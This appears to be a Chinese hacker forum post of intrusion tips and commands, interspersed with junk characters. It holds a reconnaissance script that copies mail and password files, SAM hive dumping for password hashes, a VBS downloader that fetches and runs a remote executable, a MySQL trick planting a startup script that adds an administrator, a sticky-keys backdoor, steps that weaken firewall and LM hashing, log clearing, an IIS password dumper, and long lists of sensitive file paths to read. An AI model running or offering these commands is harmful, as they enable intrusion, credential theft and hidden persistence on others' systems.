关于tar的打包方式,linux不以扩展名来决定文件类型。
/ J( v2 l' X* m: o$ y, m$ J若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
! Z9 F6 |, O: g% ~( R8 S8 U; ~}  

+ X" t9 M+ {6 [- e, m提权先执行systeminfo
* _6 N$ a: L8 D1 @  J; ytoken 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
4 u+ U% \% n' a6 \' }- H/ N7 mrar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
& N+ D/ z, Z' _" B! I9 m3 M- `for window：

@echo off
, u* ~' k. b& X# d. D1 Mecho #########system info collection
systeminfo
ver
hostname
net user
; s( S* k) X$ R, @! ^% pnet localgroup
net localgroup administrators
net user guest
net user administrator

* h1 m9 k% c& ~4 Hecho #######at- with   atq#####
echo schtask /query

echo
* Y3 v. x; @- ?; `4 Wecho ####task-list#############
tasklist /svc
* I4 A4 \) b. t, ?& ?7 _' qecho
echo ####net-work infomation
, X3 D- D2 a8 Bipconfig/all
+ c' F: w: @# Jroute print
3 j% d6 W: w" N2 xarp -a
netstat -anipconfig /displaydns
; e9 R, v  ^% M$ ]* S: vecho
echo #######service############
! }. B6 K& t6 ]0 x# c& R; Zsc query type= service state= all
- S/ R$ ?1 d& d$ Z1 w3 r/ @echo #######file-##############
cd \
tree -F
- I/ w/ q8 Z( P2 w0 ?for linux：
' J0 O1 Y" C6 K7 u
. e0 P- R, H+ F* S+ y: Z- h4 Z#!/bin/bash

% Y" _3 j4 `2 g! J! Uecho #######geting sysinfo####
/ h4 ]5 U, ~1 [0 a7 Vecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
! O9 |3 q0 J6 T; i0 Hecho
rpm -qa 2>/dev/null
  v) _% \$ Q' W1 ?: n######stole the mail......######
9 ?& }& g; |9 ]cp -a /var/mail /tmp/getmail 2>/dev/null
6 t4 U$ Y7 t) s# S9 y1 C
: |% D2 v; N5 ^1 P8 w
. d6 B# Q3 Z8 m! J4 w; [' cecho 'u'r id is' `id`
! d  J1 m( B" e% y! }echo ###atq&crontab#####
atq
! Q3 [* o! a. I) ^; Z0 c4 Wcrontab -l
echo #####about var#####
, q4 W% r% [7 R# p$ Oset
/ M3 p, B# X8 q1 M8 G( I8 [
& u1 _2 P8 A4 _( V7 Q1 eecho #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
, F5 S' ^% i3 Y' T9 Ocat /etc/hosts
hostname
6 C& O: q- `. f& cipconfig -a
) `+ T0 Z* h- M% m6 F% x; R- Qarp -v
echo ########user####
cat /etc/passwd|grep -i sh

echo ######service####
8 q( f# M- A9 b2 ~- V! ]' Vchkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
& X9 O0 [+ i) q1 r3 {  D: b( Gcat /etc/passwd|grep -i $i
done

locate passwd >/tmp/password 2>/dev/null
- a9 O! V# T1 s2 A- Usleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
- q. L& I2 j! Flocate config >>/tmp/sysconfig 2>/dev/null
5 j2 g3 H, N% n( z5 Esleep 5

* `, `& J, s% n1 K4 S###maybe can use "tree /"###
echo ##packing up#########
4 m: m; I* F- O( f. Ttar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
1 \- H! p% }/ ~) X——————————————
' B  b. K$ K4 V4 z0 x: `4 f9 I3、ethash 不免杀怎么获取本机hash。
$ }. _7 d: n6 }) o, S& q首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
+ `7 p5 E8 X7 O! s               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
; L7 P/ l5 v. h8 v( F5 h注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
. Z+ E/ k3 y' k& q5 F" b据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
) k3 M0 V$ Z! }+ N2 \# N1 b$ z( w——————————————
4、vbs 下载者
4 H: {2 F# \5 h9 j! a1
+ y- s9 R, W) K2 v$ Jecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
$ X, B- U9 i3 g+ \+ a: [echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
$ o7 k% L' E. W! Q' l# ]echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
# @" d* t$ R2 a7 p5 Y* Y! Oecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
8 G+ e' \4 x& `4 w8 _echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

/ F% I) r7 p- c: F' x8 R  P# h- O2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
6 m3 X0 c; J' l- h; a1 c6 CSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
  Y% ?  H8 }2 W3 ]( psGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
: d9 O) O4 N; `+ T( o% K4 j1 B: h
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
; f* J  T3 v0 ^8 X6 [0 W8 r) ]——————————————————
6 `% N* B' q/ n/ C0 J# x) X5、
, Y6 V  v6 o' o% t+ K8 e1.查询终端端口
1 @( h- P4 O" ~  s0 K& KREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
* v# s& b1 b7 DREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
/ }/ C2 r* G  F( aREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
# o( B! D4 P1 ~8 A————————————————
  B+ T. y3 s% r2 O6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
3 V: Y! X. _- \( k7 hinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
6 D* K$ n$ q1 G& z1 xselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
: j, u  J. z8 K# q_____
8、for /d %i in (d:\freehost\*) do @echo %i
0 R/ w4 {9 @9 ^! D7 t" ]! E
& M8 r5 z, E5 `! j, B( R  y  e列出d的所有目录
  
1 g* o4 m, K' `. q) Q. a1 Z! g$ z  for /d %i in (???) do @echo %i
- W4 D) B' H8 b
+ v) K' t: e& j: z; j3 _0 ]/ w6 F把当前路径下文件夹的名字只有1-3个字母的打出来

8 }  f& g4 C* G- t2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
  
# a. f, G) v  }* C  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4 I2 L. Z0 j( ?' b- z8 T9 T4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
——————————
. k" S' r: }# B$ I6 n●注册表:
: W/ @9 X) ~+ S7 M2 s7 g4 |" a8 n1.Administrator注册表备份:
0 e: {0 l1 {+ ~, V) oreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
! f0 T6 d0 |& B5 g5 \" ~" {
5 K/ O9 a0 q- [' k2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
5 V* e" h- W5 k7 `9 V6 P: K
, n7 v* Y+ X0 b) y% s- l" B6 X5.禁用TCP/IP端口筛选(需重启):
: w1 x% H! [1 b# {REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
! B$ h0 c* m1 P' a  v" t
; r- j  r1 p" Q9 }+ {6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
0 C/ ~8 c" \) H或者
netsh ipsec dynamic set config ipsecexempt value=0
0 W  t4 S, z& c( h- m
8 a2 d2 ~; `+ ^7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
% V; N  I5 |2 I1 S$ M5 g
! u3 ]# p+ C* j8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
" v6 {* t- V+ a$ x) [" h
8 z: C8 w* g( {* ?& Y- X9.另类方法抓系统密码HASH
+ z# f3 q! [4 l' nreg save hklm\sam c:\sam.hive
1 I$ ^0 H7 J6 l; Z; G9 {reg save hklm\system c:\system.hive
% _% i, ?9 p" T: h; X2 g7 V3 D3 {reg save hklm\security c:\security.hive
9 d, k+ g- [: g+ d% s) b6 C
7 O6 Y& A# ?5 P10.shift映像劫持
' e* o  V$ s8 W& Y' ]* J4 \* e" Freg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
; E1 C! i) ]9 R" g' ?星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
/ m8 P2 J' D+ Q* u6 B# M& IchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
, D- B; `" A. Xif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
# d% e  {, A8 m3 c# e( Dif err.number<>0 then
exit for
msgbox("error!")
: U+ C  W* V, T( O3 K3 `" Swscript.quit
' W# J/ Q6 n; E1 }+ a8 j# Z+ Tend if
+ C* Z3 i" d: M( [5 j2 f" v7 \serverbindings=IIS.serverBindings
( T6 Y/ {8 c" l0 jServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
% P: _, n8 W+ @* z6 i) c+ \2 rpass=iisweb.AnonymousUserPass
8 U* J! }& G/ i5 `0 jpath=IIsWeb.path
5 |0 `7 o& N4 D( K- l  ~: q6 F& Zlist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
wscript.echo list
  y3 g/ m0 E1 I" y# GSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
. X$ v6 v  Z* DWScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
6 }+ L7 ~0 i9 Z- g* Y( w2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
8 P8 q. j  T$ w- D  \将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
$ D3 h. \/ `0 R2 kPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
) o  U+ o4 V6 x; p) P2 v" X: Jasp代码，利用的时候会出现登录问题
( f- q+ J9 v( C+ z& P' }4 U% I3 | 原因是ASP大马里有这样的代码：（没有就没事儿了）
9 C- B1 {1 v( c# O; p url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
( F: k1 v3 q' ^( {; P  f url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

3 s, E9 @1 I6 |' x4 a==============================================================
LINUX常见路径：

/etc/passwd
/ J- \# p9 I3 [/etc/shadow
/etc/fstab
/etc/host.conf
# l9 s( k* I, }2 k+ ^4 F/etc/motd
$ H8 V4 k$ V/ q/etc/ld.so.conf
/var/www/htdocs/index.php
2 u' o3 C+ G  C3 z* S0 @/var/www/conf/httpd.conf
$ I! K3 k0 P$ Y6 D& a/var/www/htdocs/index.html
% {- A% r' d4 q3 I, L; x/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
- G3 t$ q0 }2 L: @: ^# \/var/httpd/conf/httpd.conf
0 w8 N6 Q6 L& f0 S" U3 p6 [/var/httpd/htdocs/index.html
0 i' c- L( C3 ?  Q* Q6 |8 U7 Z8 D/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
* `, e, o6 O. L  A) g/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
! u& U, M% n( o& ^! m, K/usr/local/apache/htdocs/index.php
$ P1 s+ K# a  M$ X  @, o/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
5 l8 r2 F$ a' f  a; ^/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
; U% x- d: E- m/ I7 X/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
* x+ e! I9 ?6 W. D/www/php5/php.ini
/www/conf/httpd.conf
9 r6 X1 q( _: x/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
: p+ q# k: D4 F' H/apache/apache2/conf/httpd.conf
6 @& L, P4 x- Z8 u# @( t, ^2 ~/etc/apache/apache.conf
8 ?) R) p* r; Y: ]% s/etc/apache2/apache.conf
/etc/apache/httpd.conf
! ]: L2 \3 q2 D' [' P' A/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
# w1 Y+ G% _, e/etc/phpmyadmin/config.inc.php
- Z/ [) `1 r& t  J/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
- |+ s1 y- S0 O1 M) @9 u/etc/httpd/conf.d/httpd.conf
9 P; ]% E' g* y/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
3 X& I9 c; ~- g  l, l/var/log/apache/access.log
/var/log/apache2/error_log
3 K0 f% i: M1 j! P* e/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
6 B; |. e; P$ ^7 s3 d) C8 k8 |* v; l/var/www/logs/error_log
# @& I) Z: e7 B- `0 ~% U; L/var/www/logs/error.log
/var/www/logs/access_log
( ]" B% T; I$ \+ C% O# T/var/www/logs/access.log
, o: |. `4 E: |) C% }/usr/local/apache/logs/error_log
, V. W. E" j6 Z0 U9 |/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
" _4 [. a/ c6 E: c8 f/usr/local/apache/logs/access.log
/var/log/error_log
; I8 G/ w" w( R2 A8 N, X5 @( h8 S/var/log/error.log
8 f! ?! R$ I- F) n6 V( a# D" U2 O/var/log/access_log
/var/log/access.log
* {8 k7 z( ^4 T/usr/local/apache/logs/access_logaccess_log.old
# e% Z8 F% F: `+ M% U/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
+ D9 r/ i  t0 d. \2 H9 x/bin/php.ini
, u" B* |! k$ n) z% \$ p0 ~' h0 ?/etc/init.d/httpd
$ G6 ?- e& t( z% G- G/etc/init.d/mysql
/etc/httpd/php.ini
) s) q5 l" \. ?9 x- H! i! I/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/ u/ ]# f( i) X0 M8 `/usr/local/lib/php.ini
7 Q1 g2 Y0 N; m1 x8 s7 _/usr/local/php/lib/php.ini
: V9 j& t- g7 C% i( X( u, ]/usr/local/php4/lib/php.ini
3 _2 i5 V1 W: K3 i. N/usr/local/php4/php.ini
. J$ g/ }5 @, `! [5 f1 [/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
* M) `  i* E1 c: z/ [1 [$ _/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
% r6 M: q3 _2 Z7 @. `3 p/etc/php4.4/fcgi/php.ini
  y: Q) }6 S; t" W9 ?! s2 D( y/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
# L  S; D8 A! H* [$ k/etc/php/apache/php.ini
; M: D( C9 k* J9 a+ _' Z6 g- t/etc/php/apache2/php.ini
" ~# Z! J/ a+ V& W; N( |) g; x) j/web/conf/php.ini
  k1 `& T' u; S. I* @/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
) q! U  S; M3 S$ C* w! I0 Z2 o! `/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
$ N0 T: s5 `: {  ^/etc/php/cgi/php.ini
* e8 F$ h: O" m/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
% O( A8 E0 q2 z! S) ]/php4/php.ini
/php/php.ini
/PHP/php.ini
4 Q# d/ _& K4 A. }! o7 D( m8 X/apache/php/php.ini
/ E6 v2 Z; S7 `3 d8 [3 n/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
) b0 A! E! S  i0 e, p) n; U: H/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
1 ?. p+ e: e, C8 l) ?7 [2 S' K/home/bin/stable/apache/php.ini
5 G  B2 ?1 z6 l6 u8 |+ L- B8 b/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
/ q) n, s2 f2 Q/ m9 ~$ @: e/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
, B4 u, ?7 _4 _% R( @/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
, g" E, H2 }" C2 i/ k! a4 [+ J/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
5 X5 s1 c6 C# z% L6 I8 W) [/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
8 Y# P% D4 R! ^( r+ N/usr/local/cpanel/logs/license_log
) t- D/ P% i- U0 _( F7 G/usr/local/cpanel/logs/login_log
: x, `* e0 Z" `/usr/local/cpanel/logs/stats_log
4 `' g4 D! k' ?  j/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
* H, g6 J8 S. I5 K3 _: g* ]3 e5 O
, k' K6 K, u2 R* F& Q  {  r9 k2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
' f7 B* W+ W' l; n+ w- ^& c5 I% o
& b' O! U5 v3 h# B* pc:\windows\php.ini
c:\boot.ini
c:\1.txt
c:\a.txt

$ I) j3 b9 m$ y% Rc:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
7 {& e6 c# b5 w8 r7 D8 Kc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
3 T! ~7 u6 b5 k- c# K# J2 r, [1 lC:\WINDOWS\FreeHost32.dll
1 I; F+ V0 I" N. @C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
( d( P9 m  s* r$ M
* Z  {$ d6 v0 m2 E) [' z2 @c:\hzhost\databases\url.asp

2 t3 }4 p, z; G( u# mc:\hzhost\hzclient.exe
+ E$ F7 R1 p/ L+ rC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
2 d! k7 J  O7 U% L$ x& k1 A. `" ~
  D- H7 X2 ?7 }C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
) u! B+ ]7 Q0 p. R  wC:\WINDOWS\web.config
# P% f+ h) E+ q8 q( Q" S/ f5 ic:\web\index.html
c:\www\index.html
+ S7 Q5 ~- z4 I4 L  q0 nc:\WWWROOT\index.html
  z6 z; F5 r5 Q* H* M* z' M! dc:\website\index.html
% [4 s8 a5 D  x' ~0 z% W. uc:\web\index.asp
4 a6 o! {. _7 }( p# kc:\www\index.asp
c:\wwwsite\index.asp
6 I8 E- g% D3 ]. G- Bc:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
2 O! Q. U% u! ~c:\WWWROOT\index.php
c:\WWWsite\index.php
6 h( d" _" b: K+ g6 j( U0 f, Gc:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
/ U- p0 J3 t9 @& r2 U' H" w; jc:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
5 y: V0 ?5 g1 o- }# j& Ec:\www\default.php
, m1 l* ^1 @- v. d% g( v, _" tc:\WWWROOT\default.php
c:\WWWsite\default.php
, _+ F, D  x' V# R8 q! tC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
( `6 o/ j4 b- Dc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
8 r, S3 v0 W# n/ ]( M( }C:\Program Files\Microsoft Office\OFFICE11\winword.exe
8 u/ b. b3 E" dC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
! r* S, ~0 z2 QC:\Program Files\360Safe\360safe.exe
; G6 {% l* o7 x7 V; V' M6 P5 jC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
3 p8 C2 @* W7 @, m( Bc:\rising.ini
7 s" n( Q9 |9 X$ E' S( jC:\Program Files\Rising\Rav\RsTask.xml
4 V0 u& t; R+ XC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
$ k6 ^0 H5 I' \C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
. B% b( y+ B+ k; Q9 f; P7 B' @C:\Documents and Settings\Administrator\My Documents\a.txt
) v4 _6 A+ q" |+ oC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
/ r2 i  M1 ?+ p, cE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
1 k; T1 g' v- s* _! s! \5 q1 S1 l( a5 iC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
$ s/ @" P% {5 ]+ H5 kC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
# S( p% ^, W" i. c6 K' t7 eC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
( N: p% f. ~2 v) y8 R3 z% Jc:\MySQL\MySQL Server 4.1\bin\mysql.exe
/ D; _% O" w% s8 x* _5 Vc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
, e* f( j' T6 h# T$ h, w: U+ oC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
2 L$ ^! L+ ?+ X+ c: T" T( XC:\WINDOWS\system32\inetsrv\inetinfo.exe
5 q+ E$ A) R* H8 dC:\WINDOWS\system32\inetsrv\MetaBase.xml
  t' d5 g, R1 R4 d$ S7 iC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
1 [: ^6 ?- c* C1 LC:\WINDOWS\system32\config\system
( J0 j& |  @2 k& k3 k+ r6 Rc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
" Y. K: X9 n) s1 Vc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
* S5 K6 F9 `3 N4 E" i* O6 mc:\program files\tomcat6\bin\version.sh
( K1 W1 Z7 |3 p) w! [+ |" v4 O* jC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
! @% O! `" ~- p3 F3 ~5 P: d- Z3 G/usr/share/tomcat6/bin/startup.sh
. [) w  j2 ^: d2 k' J7 k# A! d/usr/tomcat6/bin/startup.sh
8 U: S: r0 J+ |0 `2 Zc:\Program Files\QQ2007\qq.exe
6 K" a2 @% r) [2 b3 M$ F( K$ Ec:\Program Files\Tencent\qq\User.db
4 s! [& n0 r+ M) M8 h4 z0 @* ^c:\Program Files\Tencent\qq\qq.exe
* i+ e* D7 b  Z" {) Vc:\Program Files\Tencent\qq\bin\qq.exe
- m5 P9 S7 Y4 `5 p( o. O  [c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
8 u6 z) J: f+ P# bC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
- M- ^3 O% Q1 a' Cc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
% U2 C; E0 f) H, l+ R# T$ _C:\Program Files\Foxmal\Foxmail.exe
! N" i! h; {% \+ f/ o4 E9 ~C:\Program Files\Foxmal\accounts.cfg
* a, Y' K: w& O1 k. n  JC:\Program Files\tencent\Foxmal\Foxmail.exe
# G1 _8 n  j' I, T8 S9 X  NC:\Program Files\tencent\Foxmal\accounts.cfg
